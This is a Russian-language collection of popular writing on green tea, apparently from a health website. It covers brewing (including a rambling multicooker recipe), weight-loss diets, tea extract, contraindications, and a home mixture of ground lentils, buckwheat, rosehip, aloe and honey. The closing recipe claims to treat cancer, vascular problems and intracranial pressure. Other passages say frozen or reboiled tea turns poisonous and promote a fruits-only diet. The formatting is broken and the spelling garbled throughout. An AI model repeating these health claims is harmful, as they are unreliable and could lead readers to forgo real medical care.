Усвойте однажды и навсегда – кипяток разрушает большинство полезных веществ в
чае,


 делая этот
напиток бесполезным!


·                   
4. Какую
предпочесть посуду для заваривания зеленого чая? Наилучшая посуда это
та, которая долго удерживает высокую температуру. Хорошо подходят глиняные либо
фарфоровые чайники. Знатоки чая японцы используют чайник, изготовленный из
эмалированного чугуна, а вот арабы предпочитают серебряную посуду.


 Посуда не
должна иметь посторонних запахов. Для этого очень поможет предварительное
ополаскивание посуды кипятком. Еще это необходимо чтобы холодный


 чайник не
собрал тепло воды в себя, которое было предназначено для заварки.


Когда после нескольких процедур заваривания на


внутренней поверхности чайника появляется желтоватый
налет, удалять его не торопитесь. Такая пленка – это своеобразная защита от
неблагоприятных внешних


 факторов. Может
быть, это насторожит гостей,


не знакомых с такими тонкостями чайной церемонии, но,
думается, вы найдете способ объяснить им ситуацию.


·                   
5. Непосредственная
процедура заваривания. Используемый с этой целью чайник необходимо
предварительно прогреть над открытым огнем.


Только затем засыпать чай. Ложка должна быть сухой и
чистой. Заварочный чайник оборачивают мягкой тканью. Гурманы чайных церемоний
применяют для этого специальные красивые вещи. Чайник выдерживают в


 тепле пару
минут. Заварку заливают на треть


емкости горячей водой. Выдерживают еще 2-3 мин.,


 после чего
доливают чайник под завязку.


Чашки, желательно также из глины или фарфора,
предназначенные для чайной церемонии, ополаскивают горячей водой перед
использованием. Ведь налитый в холодную чашку горячий чай быстро остывает.
Общая продолжительность процедуры заваривания – в


среднем 3-4 мин. Наливают напиток в чашки небольшими,
одинаковыми объемами, так получается одинаковый


 вкус чая для
всех гостей.


·                   
6. Иногда
чай готовят в самой чашке


 (встречаются и таковые любители)
накладывайте не


 более одной
ч.л. заварки. Настаивается такой


напиток около 2 минут. Появление на поверхности


чайника пенки желто-коричневатого оттенка означает
правильный режим приготовления. Убирать пенку не требуется, ее просто
размешивают ложкой в чашке.


Также не забывайте прогреть саму чашку, в которой чай
заваривается.


·                   
7. Сколько
допускается заварок и с чем чай пить? Принято считать, что сахар - враг
зеленого чая. Лучше употреблять на десерт мед, а при его отсутствии -
сухофрукты. Вторично высококачественный чай


 заваривают до
семи раз. Однако более двух раз


лучше этого не делать. Берем крохотный мини-чайничек,
завариваем его на раз, а затем еще раз повторяем. Время вторичной заварки
увеличивается. Первоначальная заварка отличается наиболее терпким ароматом.
Далее начинает раскрываться собственно вкус чая.


·                   
8.
Разрешается заваривать зелёный чай в мультиварке Поларис.


Оттуда выходит много чая примерно 3 литра.


Я делаю так: 1. Открываю пустую мультиварку.


2. Из неё я вынимаю блюдо и ставлю на стол.


3. В блюдо я наливаю 3 литра воды или по метку на
стенке блюда.


4. Потом я чу-чу ть приподнимаю блюдо вверх и одной
рукой провожу по дну с наружной стороны проверяя не мокрое


 ли дно если
мокрое то протираю сухой тряпочкой,


а если сразу сухое дно то сразу блюдо с водой ставлю в
мультиварку.


5. Потом я закрываю крышку у мультиварки.


6. Потом я её включаю в электрическую розетку на    мультиварки 
загарается лампочка меню, настройки и


 десплей с
временем.


7. Потом я нажимаю кнопку меню до тех пор пока на
паели мультиварки не загорится лампочка «Мультиповар» .Как загорелась лампочка
на панели я нажимаю кнопку


настройки и там на дисплее выходит настрой ка часов.С
помощью кнопки «Настройка» я настрайваю время на 1 час. Потом снова нажимаю
кнопку «Меню» На дисплее загаается настройка грдусов и снова я настрайваю
градусы с помошью кнопки «Настройка».Я выбираю 160 ºС градусов цельсия и нажимаю кнопку на Мультиварке
«Старт». Потом на дисплее загорается время 1:00 час.И я отхожу от


 мультиварки
ровно на 1:00 час.


8. Потом через 1:00 час как про пищит мультиварка


то есть даст знать что пора её выкулючать я подхожу к
ней и нажимаю на ней кнопку «Отмена» на дисплее появляютсячёрточки примерно вот
такие-----. Потом после нажатия кнопки «Отмена» и появления чёрточек я её


 выдёргиваю из
электрической разетки открываю крышку мультиварки примерно на 15 минут.


9. Потом через 15 минут я подхожу к своей Мультиварки
открытой и кладу в кипячёную но немного остывшую воду Зелёный чай, помешаю его
мнемного деревянной


 ложкой и снова
закрываю крышку мультиварки с чаем на 15 минут (Не включая её в электрическую
разетку) и


 отхожу от неё
на 15 минут.


10. Потом через 15 минут я подхажу к своей мультиварки
и открываю её, и вынимаю из неё блюдо с готовым чаем.


11. Потом переливаем готовый чай в 3-х литровую


 банку но так
аккуратно что бы банка не лопнула от


 горячего чая.


12. Потом как перельёте чай в банку сразу же намойте


чашу от мультварки.


13. Самою мультиварку протрите от всякой грязи и


дайте ей остыть.


14. готовый чай можете употреблять!


15. Приятного вам Чаепития!


16. (Совет: кто страдает запором перед тем как


переливать чай в банку 3-х литровую положите на дно
банки немного ледышков сделанные из чистой, проточной, питьевой воды. Или
разбавьте чай простой сырой водой).


 А кто запором
не страдает тех этот совет не касается.


17. Этот рецепт по завариванию чая хорошо помагает
очень хорошо для  снежений внутре
черепного давления,


алергического 
чёса, шелушения кожи.


18. Пить зелёный чай надо от внутре черепного


 давления 3 раза
в день по 0.6 мл. каждый раз.


И последний раз в день пейте его в 17:00 часов.


Если у вас в банке остался чай то вы его не выливайте


в помойку а поставьте в холодильник он вам пригодится
на следующий день.


19. Злелёный чай не вкоем случае нельзя


замораживовыыать он становится ядовитым.И повторно
перекипячивовывать тоже нельзя он тоже


 становится
ядовитым. Зелёный чай должен быть комнатной температуры.


20. Зелёный чай надо пить курсами на пример 1


месяц пить а другой не пить  и так по очереди.


Всегда ли
можно пить зеленый чай? Многие люди


употребляют
этот целебный напиток, думая, что он


хорошо
утоляет жажду. К примеру, в Средней Азии его


 пьют в горячем виде при работах в поле, однако
это большое заблуждение. Заварка из чайных листьев является сильным мочегонным
средством, и, выпивая ее в жаркое время года,


 человек тем самым обезвоживает свой организм.
Кроме того, чрезмерное употребление заварки может привести к


ухудшению
состояния нервной системы.


Нельзя пить
напиток натощак. Он раздражает слизистую


желудка, что
может привести к развитию гастрита или язвы.


 Не рекомендуется его пить и перед принятием
пищи,


так как он
снижает усвоение протеина пищеварительными органами. Еще он обволакивает стенки
желудка и вызывает разжижение слюны, отчего пища может показаться


безвкусной.





Небольшие дозы кофеина при
умеренном потреблении


заварки из зеленых листьев
тонизируют, помогают снять


 усталость, повышают физическую и умственную
активность человека. Однако при всем благотворном влиянии этого благородного
напитка на организм нельзя забывать и о


 его вреде. Именно из-за кофеина не
рекомендуется злоупотребление зеленым чаем людям, страдающим


сердечно-сосудистыми
заболеваниями. Это может привести к различным осложнениям.








 


Этот
целебный напиток, смешанный с молоком, великолепно очищает почки, укрепляет и
тонизирует организм. Еще этот «коктейль» очень любят китайские долгожители.
Молоко нейтрализует действие кофеина и других алкалоидов,


и поэтому
такой напиток можно пить без опаски за свое


здоровье.
Хотя это калорийный продукт, но лишние


 калории в нем компенсируются кальцием. Было
проведено интересное исследование, в ходе которого несколько женщин выпивали
ежедневно по стакану молока. Как ни странно,


в итоге ко
всем плюсам такого рациона, в виде


укрепления
ногтей, зубов и костей добавилось еще


снижение
веса испытуемых. По мнению организаторов эксперимента, это явление связано с
дефицитом кальция. Впоследствии ученые разработали специальную диету


 на основе зеленого чая с молоком, а ее эффективность
была доказана уже опытным путем. Процессы очистки в организме, вызываемые
употреблением чая, в сочетании с молочной


диетой,
богатой микроэлементами, способствует


похудению
безо всякого вреда, связанного с истощением организма.


Какова же
суть такой диеты? Можно
отметить два способа – мягкий и радикальный. Когда вы стремитесь к
форсированному результату и не испытываете проблем с желудком, применяются
жесткие меры. Следует съедать всего несколько фруктов за день, отказавшись от
всех остальных продуктов. Пьем зелёный чай с молоком. Сахар, если в нем
потребность непреодолима,


 смените на ложечку меда. Помимо чая с
добавлением молока, необходимо выпивать от полутора литров простой воды.


Если это всё
очень непросто для вас, значит, вы еще


нерешительны
в своих стремлениях похудеть.


Но
предположим, что вы задались целью только очиститься от шлаков. Тогда
разгрузочный день – это то, что вам надо. Такая мера, разумеется, гораздо мягче
– всего лишь один день


 можно и потерпеть. Но про обычную пищу все-таки
придется забыть в таковой день, дабы дать чаю свершить свое


 воздействие.


Рассмотрим
способы употребления чудодейственного


 напитка. Их также всего два, и вот каких.


Способ
первый: Гурманы
уверяют - наивысшая


эффективность
чайно-молочной диеты будет достигнута, если заварку готовить непосредственно на
молоке. То есть вода не используется вовсе. Сухой чай заливается нагретым
молоком.


 В этом случае простая вода пьется только
отдельно от


напитка.


Способ
второй: Этот вариант
считается более простым, но не столь полезным. Кипяток и молоко смешивают
в


 равных по объему частях, и в такую смесь
засыпают заварку. Таковой чай зеленее на цвет, но вкус его не такой молочный.


Еще отметим,
что использование зелёного чая на


молоке
возможно и горячим, и холодным. Менее полезным


 он не станет от этого. Огромной популярностью
зелёный чай пользуется у спортсменов. Рассчитывая на чудодейственные свойства
чая, употреблять его необходимо не только  после тренировки, но и до нее.
Спектр полезного воздействия чая огромен. Его включают в свой рацион ценители
бодибилдинга, фитнеса и просто люди активного образа жизни. Но вот пониженное
давление – это существенная причина


воздержаться от зеленого чая. Ведь
одна из важнейших его функций – именно борьба с гипертонической болезнью.








Медицинским сообществом до сих пор еще не
принято однозначного решения, влияет ли зеленый чай на похудение,


хотя многие люди верят в эффективность
снижения веса с помощью этого продукта. И такой способ похудения в


 последнее
время вошел в моду. Считается, что этот настой усиливает обменные процессы в
организме и ускоряет


выведение жира, он является мощным
антиоксидантом и способствует укреплению кровеносных сосудов, повышая их
эластичность.


Если вы почувствовали легкий голод, то вместо
перекуса


лучше выпейте чашку настоя из чайных листьев
без сахара.


При регулярном его употреблении можно скинуть
2–3 кг,


причем в сочетании с диетой достигаются
ошеломительные результаты. Вспомним главных чайных гурманов – китайцев и
японцев. Найти среди них толстяка очень затруднительно. В чем заключается
способность чая избавлять от излишней массы? Выяснилось - из числа полезных
качеств зелёного чая


преобладают именно те, что способны вызвать
похудение.


Напиток прекрасно очищает организм, улучшает
работу


желудка и кишечника, выводя шлаки, повышает
метаболизм. Доказано позитивное воздействие чая на ускорение процессов
расщепления жиров. Этот напиток позволяет забыть о голоде.


Рассмотрим далее, как эффективнее
задействовать полезные качества зеленого чая людям, желающим избавиться от


 излишков веса.


·                   
1. За полчаса до
приема пищи просто выпить немного чая. Это отличный способ похудеть. 


Для одноразового
приема чайную ложку заваривают


на 300 г воды,
настаивают примерно две минуты и


пьют без сахара.
Такой прием несколько снизит чувство голода, но при этом ускорит процессы,
отвечающие за переваривание продуктов питания, сжигание жиров.


Можно
порекомендовать добавлять в обычный чай


растения, которые
также способствуют похудению.


В их числе,
например, гибискус, отличающийся своими легкими слабительными, а также
мочегонными эффектами. Подойдут и плоды боярышника, рассасывающие жиры,
снижающие холестерин. Еще одна добавка – мелко


 помолотая корица. С ней чай приобретает
изысканный, приятный вкус, а метаболизм усилится на порядок.


Наконец, даже
зверский аппетит подавляет ложечка


 семени льна, съеденная за чашечкой зеленого
чая.


·                   
2. Добавьте
зеленый чай к обеденному столу.


Есть один рецепт,
который вероятно покажется вам оригинальным и даже несколько странным.
Попробуйте размолоть чай в тонкий порошок кофемолкой.


Ложечку этого
порошка съедайте в процессе любой своей трапезы. Запивать его можно водой.
Можно даже не есть порошок в чистом виде, а, скажем, посыпать им холодные
закуски, например, салаты, каши, оливье.


Не следует только
добавлять его в различные супы или коктейли, содержащие много жидкости. В таких
блюдах порошок просто растворится и его воздействие будет существенно ниже или
просто ослаблено.


Этот рецепт дошел
до нас из Китая. А в этой стране


 люди знают, как сохранить фигуру.


·                   
3. Если вы уже
сидите на диете, то превосходно


подойдет чай для
улучшения эффекта. Вообще лучшие диетологи рекомендуют при похудении пить как


можно чаще зеленый
чай. Быстрому избавлению


 от излишков в весе способствует употребление
фруктов и овощных блюд. Сократите при этом в своем рационе количество
сладостей, мучных продуктов.


Замените жареное
мясо с использованием жиров,


на вареное.
Старайтесь поменьше добавлять в


 пищу соли и особенно сахара. А вот всевозможные


 крупы – гречка, рис должны стать желанными на
вашем столе. Разумеется тоже в разумных количествах.


 И запомните, пейте регулярно зеленый чай, так
как при похудении не существует ограничений на его прием.


 Теперь поговорим о наиболее удачных сочетаниях
диетических рационов и зеленого чая.


Как воздействует зеленый чай на процессы
снижения


веса? Ускорение процессов метаболизма –


 это не
единственный фактор воздействия на снижение веса в арсенале чая. Существуют еще
несколько полезных


функций в этом направлении, перечислим их:


·                   
мягкие мочегонные
свойства, способствующие, соответственно, выводу излишков жидкости.


Хотя в числе всех
продуктов, которые обычно


используют
совместно с зеленым чаем,  молоко никак не фигурирует, в целях похудения
церемониал этот можно обойти. Добавляя в чай чуть-чуть обезжиренного молока,
можно резко усилить мочегонный эффект, выводиться жидкости будет больше. А еще
это средство – хорошая профилактика отечности ног и ступней.


·                   
полифенолы, в
избыточном количестве


содержащиеся в чае,
усиливают теплообмен  организма посредством эффективной переработки


отложившихся
жиров. Выпивая несколько чашек


 чая в день, согласно исследованиям ученых,


можно увеличить
массу  сжигаемых жиров почти в полтора раза.


·                   
уменьшение в
крови сахара также благоприятствует снижению веса, ведь это помогает не
чувствовать голод раньше времени. Выпейте всего чашку чая до еды, и обед
покажется вам гораздо сытнее, а значит можно и


 поменьше съесть. Те столь обильная трапеза,
как обычно,


 также является союзницей в борьбе с излишками
веса.


Может возникнуть вопрос, как долго
нужно держать обязательным компонентом рациона зеленый чай?


  Для этого хватит буквально двух недель, итогом чайной
диеты станет привычка организма к здоровому питанию, умеренный рацион. Вы
получите двойную пользу – сначала будет


 избавление от излишков жидкости, а уже затем


утилизируется жир. Приучив организм к
здоровому


 питанию, вы сможете иногда баловать себя
совсем не диетическими продуктами, не опасаясь, что это приведет к


 лишним килограммам
веса.





Такой
экстракт изготавливается из зеленых,


не
ферментированных листьев растения. Он используется в косметической и пищевой
промышленности.


 В косметологии на его основе выпускаются
маски, кремы, шампуни и многое другое. Такое широкое использование этого
продукта связано с тем, что препараты из чайных листьев благотворно влияют на
сохранение молодости кожи и ее


красоты. В
косметологической сфере экстракт используется как консервант, антиоксидант,
стабилизатор натуральных красителей и в качестве дезодоранта.


Экстракт
зеленого чая хорошо питает и увлажняет кожу,


улучшает и
укрепляет саму ее структуру.


Также он
препятствует старению кожи, усиливая ее защитные функции, а на клеточном уровне
оказывает общее


положительное
воздействие. В пищевой промышленности


экстракт
зеленого чая используется как природный


антиоксидант
для предотвращения окисления масел и жиров.


 Он является стабилизатором ряда нестабильных и
быстро окисляющихся соединений.





Несмотря на
то, что зеленый чай имеет множество полезных свойств, его нельзя применять в
чрезмерном количестве.


 Людям с гипотонией он вообще противопоказан,


 так как зеленый чай снижает кровяное давление. Язвенникам
также лучше не использовать препараты из зеленого чая.


Людям с
бессонницей также не рекомендуется


увлекаться
зеленым чаем, потому что в его составе


 имеется кофеин, возбуждающий нервную и
сердечную


 системы.


Если вы
употребили алкоголь, то забудьте о зеленом чае!


 Если алкоголь и зеленый чай употребить
одновременно, то образуются альдегиды, а это крайне отрицательно скажется на
почках. Нежелательно применять препараты из зеленого


 чая и на голодный желудок.





http://www.ayzdorov.ru/























1.   
Чечевица.
(Крупа сырая).  «500 грамм».


2.   
Гречневая
крупа. (Сырая). «500 грамм».


3.   
Шиповник.
(Ягоды сушёные). «500 грамм».


4.   
Жидкий
мёд. «300 грамм».


5.   
Алоэ.
«1 лист». Или аптечный сок Алоэ 1 пузырёк.


6.   
Готовый,
заваренный Зелёный чай.


7.   
1
кофемолка Электрическая.


8.   
Одна
3-х литровая Стеклянная банка.


9.   
Одна
0,6 литровая Стеклянная  банка.


10.                     
Одно
эмалированное блюдо.


11.                     
Мелкое
ситечко.


12.                     
2
капроновых крышки.


13.                     
1
пялка или блюдечко .





1.    Возьмите электрическую кофемолку и в
ней


размолотите в муку Сырую крупу Чечевицы 500


грамм.  И положите
размолотую Чечевицу в


эмалированное блюдо.


2.    Также размолотите в кофемолке
электрической


 Гречневую крупу
Сырую  500 грамм. И положите размолотую
Гречневую крупу в эмалированное


 блюдо.


3.    Возьмите мелкое сито и поставьте его
в


эмалированное блюдо на молотые готовые крупы.


4.    Также размолотите в кофемолке
электрической Ягоды сушёного Шиповника. 500 грамм. И положите


размолотый шиповник к остальным крупам но


 прежде чем класть его
к остальным крупам


 просейте его через
мелкое сито.


То что просеется в блюдо крупам  размолотым, крупам


 там и останется. А в
сите если останутся зёрна от шиповника то вы их не выкидовывайте  их на


 помойку вы их положите
в отдельную пялку или


 отдельное блюдечко .И
поставьте их на время в сторону они вам потом пригодятся.


5.    Сложите и уберите на место
электрическую кофемолку.


6.    Уберите в  раковину пустой, использованный дуршлаг.


7.    Столовой ложкой перемешайте в блюде 3
крупы в однородную массу и пересыпте их в 3-х литровую банку. Пересыпанные в
3-х литровую банку крупы покройте капроновой крышкой. И уберите в сторону.


8.    Возьмите  одну банку стеклянную 0,6 литров и в неё
положите 1 большой лист Алоэ или если


аптечный пузырёк сока Алоэ вылейте в банку только выливайте,
или делайте что то одно либо сок


или лит Алоэ. Потом в эту же банку с


Алоэ положите жидкий мёд 
и перемешайте


в однородную массу. Не в коем случае мёд с


Алоэ не ставьте в холодильник или в холодное


 место. Мёд должен быть
в этой банке всегда


жидким. Как приготовьте смесь Алоэ с жидким


Мёдом то поставьте эту баночку в сторону.


9.    Приготовьте готовый заваренный
Зелёный чай.


10.         
  (Зелёный чай должен быть комнатной
температуры.





1.    Возьмите чистую, стеклянную,
большую  кружку и


 чистую столовую ложку.


2.    В чистую, стеклянную кружку положите
сухую,


 готовую смесь из 3-х
литровой банки 3 столовых ложки смеси.


3.    В кружку со смесью положите одну
чайную ложку


 Мёд  с Алоэ.


4.     В кружку со смесью и Мёдом с Алоэ налейте до


полноты кружки Зелёный чай.


5.    Всё что в кружке находится
перемешайте в


однородную массу.


6.    Всё что в кружке находится и
перемешано в


однородную массу скушайте или выпейте. (Как вам удобно).


7.    Если вы эту смесь пьёте-едите для
лечения от рака,


 и чистки сосудов, и
судорог ног, и рук то пейте-ешьте


 это всё за 1 час до
еды 3 раза вдень.1 месяц.(Одним Курсом).А если вы эту смесь  пьёте-едите 
для


 похудения то такие
пропорций кладите кружку 


но ешьте-пейте это всё за 3 час до еды основной.


Мне лично эта смесь помогает от судорог в руках,


 ногах и
внутречерепного  давления.


Но пить эту смесь надо курсами 2 раза в год.(Весной и
Осенью).